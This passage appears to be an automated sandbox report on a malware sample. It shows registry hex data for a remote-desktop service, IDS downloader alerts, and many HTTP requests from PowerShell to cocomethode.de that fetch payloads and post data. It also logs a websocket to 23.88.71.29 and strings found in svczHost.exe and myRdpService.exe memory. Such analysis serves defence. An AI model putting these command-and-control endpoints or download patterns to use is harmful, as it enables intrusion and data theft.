00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View

IP Address: 23.88.71.29 23.88.71.29

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49742 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49740 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49738 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49756 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49763 -> 172.67.128.139:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49768 -> 172.67.128.139:443

Source: global traffic	HTTP traffic detected: GET /OKNf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9137f27af5d301268105 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /OKNf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/46 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/84 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: vSGksIBbOk2mcrAcIKxUnQ==Sec-WebSocket-Version: 13

Source: global traffic	DNS traffic detected: DNS query: cocomethode.de
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 00000014.00000002.4923535005.00000218EF713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E
Source: svchost.exe, 00000014.00000002.4923535005.00000218EF713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>M.
Source: svchost.exe, 00000014.00000002.4926742716.00000218F0497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbpose
Source: powershell.exe, 00000008.00000002.3736924870.0000012F38CEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931C2A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: powershell.exe, 00000003.00000002.3630743910.0000020ACC350000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3887214175.0000025156397000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3789805068.0000012F50099000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4075825585.0000029318A0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4926024949.00000218F0438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000003.00000002.3630743910.0000020ACC350000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3886822597.0000025156370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3789805068.0000012F50099000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4600136231.0000029332C74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4925863856.00000218F0425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000008.00000002.3792164808.0000012F50170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: svchost.exe, 00000014.00000002.4925863856.00000218F0425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000014.00000003.3803366589.00000218EFF7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3803818825.00000218F04A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924963717.00000218EFF7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000014.00000003.3803366589.00000218EFF7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3803398861.00000218EFF2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3803150256.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924963717.00000218EFF7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 00000014.00000003.3793237973.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000003.00000002.3626939456.0000020AC43CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3626939456.0000020AC4294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB56FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E58C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E3E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3782474079.0000012F480C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3969C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000014.00000002.4925437042.00000218F0400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB55AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB558F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3954C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000008.00000002.3789805068.0000012F50099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000008.00000002.3796835201.0000012F5083C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openxml
Source: powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc0
Source: svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924156049.00000218EFF13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000014.00000003.3793237973.00000218EFF30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3793237973.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB4211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F38051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AB21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.3736924870.0000012F38E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB55AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB558F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3954C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
Source: powershell.exe, 0000000D.00000002.4623771844.0000029333F8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 0000000D.00000002.4607773821.0000029332F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=8
